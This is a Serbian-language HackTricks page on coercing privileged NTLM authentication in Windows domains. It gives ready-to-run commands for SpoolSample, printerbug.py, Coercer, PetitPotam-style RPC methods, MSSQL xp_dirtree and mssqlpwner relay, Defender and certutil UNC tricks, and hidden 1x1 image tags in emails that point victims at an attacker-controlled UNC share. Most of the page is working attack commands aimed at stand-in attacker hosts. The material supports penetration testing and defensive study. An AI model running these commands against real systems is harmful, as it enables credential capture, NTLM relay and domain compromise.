Force NTLM Privileged Authentication
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.
SharpSystemTriggers
SharpSystemTriggers is a kolekcija remote authentication triggera napisana u C# koristeći MIDL compiler radi izbegavanja zavisnosti od trećih strana.
Spooler Service Abuse
Ako je Print Spooler service omogućen, možete koristiti neke već poznate AD credentials da zatražite od Domain Controller-ovog print servera ažuriranje o novim print jobs i samo mu kažete da pošalje notification nekom systemu.
Imajte na umu da kada printer šalje notification proizvoljnom systemu, mora da se autentifikuje prema tom systemu. Zato napadač može naterati Print Spooler service da se autentifikuje prema proizvoljnom systemu, a service će u toj autentifikaciji koristiti computer account.
Ispod haube, klasični PrinterBug primitive zloupotrebljava RpcRemoteFindFirstPrinterChangeNotificationEx preko \\PIPE\\spoolss. Napadač prvo otvara printer/server handle, a zatim prosleđuje lažno client name u pszLocalMachine, tako da target spooler kreira notification channel nazad ka hostu pod kontrolom napadača. Zato je efekat outbound authentication coercion umesto direktnog code execution.
Ako tražite RCE/LPE u samom spooler-u, pogledajte PrintNightmare. Ova stranica je fokusirana na coercion i relay.
Finding Windows Servers on the domain
Koristeći PowerShell, dobijte listu Windows boxeva. Servers su obično prioritet, pa se fokusirajmo na njih:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Pronalaženje Spooler servisa koji slušaju
Koristeći malo izmenjeni @mysmartlogin-ov (Vincent Le Toux-ov) SpoolerScanner, proverite da li Spooler Service sluša:
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Takođe možete da koristite rpcdump.py na Linux-u i potražite MS-RPRN protokol:
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
Ili brzo testirajte hostove sa Linux-a pomoću NetExec/CrackMapExec:
nxc smb targets.txt -u user -p password -M spooler
Ako želite da enumerate coercion surfaces umesto da samo proveravate da li spooler endpoint postoji, koristite Coercer scan mode:
coercer scan -u user -p password -d domain -t TARGET --filter-protocol-name MS-RPRN
coercer scan -u user -p password -d domain -t TARGET --filter-pipe-name spoolss
Ovo je korisno zato što viđenje endpointa u EPM samo govori da je print RPC interface registrovan. To ne garantuje da je svaka coercion metoda dostupna sa tvojim trenutnim privilegijama niti da će host emitovati upotrebljiv authentication flow.
Zatražite od service-a da se autentifikuje protiv proizvoljnog host-a
Možete kompajlirati SpoolSample odavde.
SpoolSample.exe <TARGET> <RESPONDERIP>
ili koristi 3xocyte’s dementor.py ili printerbug.py ako si na Linuxu
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
Sa Coercer, možete direktno da targetirate spooler interfejse i izbegnete nagađanje koji RPC metod je izložen:
coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-protocol-name MS-RPRN
coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-method-name RpcRemoteFindFirstPrinterChangeNotificationEx
Prisiljavanje HTTP umesto SMB sa WebClient
Klasični PrinterBug obično dovodi do SMB autentikacije na \\attacker\share, što je i dalje korisno za capture, relay to HTTP targets ili relay where SMB signing is absent.
Međutim, u modernim okruženjima, relaying SMB to SMB je često blokiran zbog SMB signing, pa operateri često preferiraju da prisile HTTP/WebDAV autentikaciju umesto toga.
Ako je na targetu pokrenut servis WebClient, listener može da se navede u obliku koji tera Windows da koristi WebDAV over HTTP:
printerbug.py 'domain/username:password'@TARGET 'ATTACKER@80/share'
coercer coerce -u user -p password -d domain -t TARGET -l ATTACKER --http-port 80 --filter-protocol-name MS-RPRN
Ovo je posebno korisno kada se kombinuje sa ntlmrelayx --adcs ili drugim HTTP relay metama, jer izbegava oslanjanje na SMB relayability na prinudno izazvanoj konekciji. Važna napomena je da WebClient mora biti pokrenut na žrtvi da bi HTTP/WebDAV varijanta radila.
Combining with Unconstrained Delegation
Ako je napadač već kompromitovao računar sa Unconstrained Delegation, napadač bi mogao naterati printer da se autentifikuje protiv ovog računara. Zbog unconstrained delegation, TGT od computer account of the printer biće sačuvan u memoriji računara sa unconstrained delegation. Pošto je napadač već kompromitovao ovaj host, moći će da preuzme ovaj ticket i zloupotrebi ga (Pass the Ticket).
RPC Force authentication
RPC UNC-path coercion matrix (interfaces/opnums that trigger outbound auth)
- MS-RPRN (Print System Remote Protocol)
- Pipe: \PIPE\spoolss
- IF UUID: 12345678-1234-abcd-ef00-0123456789ab
- Opnums: 62 RpcRemoteFindFirstPrinterChangeNotification; 65 RpcRemoteFindFirstPrinterChangeNotificationEx
- Tools: PrinterBug / SpoolSample / Coercer
- MS-PAR (Print System Asynchronous Remote)
- Pipe: \PIPE\spoolss
- IF UUID: 76f03f96-cdfd-44fc-a22c-64950a001209
- Notes: asynchronous print interface on the same spooler pipe; use Coercer to enumerate reachable methods on a given host
- MS-EFSR (Encrypting File System Remote Protocol)
- Pipes: \PIPE\efsrpc (also via \PIPE\lsarpc, \PIPE\samr, \PIPE\lsass, \PIPE\netlogon)
- IF UUIDs: c681d488-d850-11d0-8c52-00c04fd90f7e ; df1941c5-fe89-4e79-bf10-463657acf44d
- Opnums commonly abused: 0, 4, 5, 6, 7, 12, 13, 15, 16
- Tool: PetitPotam
- MS-DFSNM (DFS Namespace Management)
- Pipe: \PIPE\netdfs
- IF UUID: 4fc742e0-4a10-11cf-8273-00aa004ae673
- Opnums: 12 NetrDfsAddStdRoot; 13 NetrDfsRemoveStdRoot
- Tool: DFSCoerce
- MS-FSRVP (File Server Remote VSS)
- Pipe: \PIPE\FssagentRpc
- IF UUID: a8e0653c-2744-4389-a61d-7373df8b2292
- Opnums: 8 IsPathSupported; 9 IsPathShadowCopied
- Tool: ShadowCoerce
- MS-EVEN (EventLog Remoting)
- Pipe: \PIPE\even
- IF UUID: 82273fdc-e32a-18c3-3f78-827929dc23ea
- Opnum: 9 ElfrOpenBELW
- Tool: CheeseOunce
Napomena: Ove metode prihvataju parametre koji mogu da nose UNC path (npr. \\attacker\share). Kada se obrade, Windows će se autentifikovati (machine/user context) na taj UNC, omogućavajući NetNTLM capture ili relay.
Za spooler abuse, MS-RPRN opnum 65 i dalje ostaje najčešći i najbolje dokumentovan primitive jer specifikacija protokola izričito navodi da server kreira notification kanal nazad ka klijentu navedenom u pszLocalMachine.
MS-EVEN: ElfrOpenBELW (opnum 9) coercion
- Interface: MS-EVEN over \PIPE\even (IF UUID 82273fdc-e32a-18c3-3f78-827929dc23ea)
- Call signature: ElfrOpenBELW(UNCServerName, BackupFileName=“\\attacker\share\backup.evt”, MajorVersion=1, MinorVersion=1, LogHandle)
- Effect: target pokušava da otvori navedenu backup putanju loga i autentifikuje se na UNC pod kontrolom napadača.
- Practical use: naterati Tier 0 assete (DC/RODC/Citrix/etc.) da emituju NetNTLM, a zatim relayu do AD CS endpointa (ESC8/ESC11 scenarios) ili drugih privilegovanih servisa.
PrivExchange
PrivExchange attack je rezultat propusta pronađenog u Exchange Server PushSubscription feature. Ovaj feature omogućava da Exchange server bilo koji domain user sa mailboxom može biti primoran da se autentifikuje prema bilo kom hostu koji obezbedi klijent preko HTTP.
Podrazumevano, Exchange service radi kao SYSTEM i dodeljene su mu preterane privilegije (konkretno, ima WriteDacl privileges na domain pre-2019 Cumulative Update). Ovaj propust može da se iskoristi da bi se omogućio relaying of information to LDAP and subsequently extract the domain NTDS database. U slučajevima kada relaying to LDAP nije moguć, ovaj propust se i dalje može koristiti za relay i autentifikaciju ka drugim hostovima unutar domain-a. Uspešna eksploatacija ovog napada daje trenutni pristup Domain Admin-u sa bilo kojim authenticated domain user account-om.
Inside Windows
Ako ste već unutar Windows mašine, možete naterati Windows da se poveže na server koristeći privilegovane naloge sa:
Defender MpCmdRun
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
MSSQL
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Ili upotrebite ovu drugu tehniku: https://github.com/p0dalirius/MSSQL-Analysis-Coerce
Certutil
Moguće je koristiti certutil.exe lolbin (Microsoft-signed binary) za izazivanje NTLM autentikacije:
certutil.exe -syncwithWU \\127.0.0.1\share
HTML injekcija
Putem emaila
Ako znaš email adresu korisnika koji se prijavljuje na mašinu koju želiš da kompromituješ, možeš mu jednostavno poslati email sa 1x1 slikom kao što je
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
i kada ga otvori, pokušaće da se autentifikuje.
MitM
Ako možeš da izvedeš MitM napad na računar i ubaciš HTML u stranicu koju će on pregledati, mogao bi da pokušaš da ubaciš sliku poput sledeće u stranicu:
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
Drugi načini za prinudno pokretanje i phishing NTLM autentikacije
Cracking NTLMv1
Ako možeš da uhvatiš NTLMv1 challenges ovde pročitaj kako da ih crackuješ.
Zapamti da, da bi crackovao NTLMv1, treba da postaviš Responder challenge na “1122334455667788”
Reference
- Unit 42 – Authentication Coercion Keeps Evolving
- Microsoft – MS-RPRN: RpcRemoteFindFirstPrinterChangeNotificationEx (Opnum 65)
- Microsoft – MS-EVEN: EventLog Remoting Protocol
- Microsoft – MS-EVEN: ElfrOpenBELW (Opnum 9)
- p0dalirius – Coercer
- p0dalirius – windows-coerced-authentication-methods
- PetitPotam (MS-EFSR)
- DFSCoerce (MS-DFSNM)
- ShadowCoerce (MS-FSRVP)
Tip
Nauči i vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).
Podrži HackTricks
- Pogledaj pretplatničke planove!
- Pridruži se 💬 Discord grupi, telegram grupi, prati @hacktricks_live na X/Twitter, ili pogledaj LinkedIn stranicu i YouTube kanal.
- Deli hacking trikove slanjem PR-ova u HackTricks i HackTricks Cloud github repozitorijume.


